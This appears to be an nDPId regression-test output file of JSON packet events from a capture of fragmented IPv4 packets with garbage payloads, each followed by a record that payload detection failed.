+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301128,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301362,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 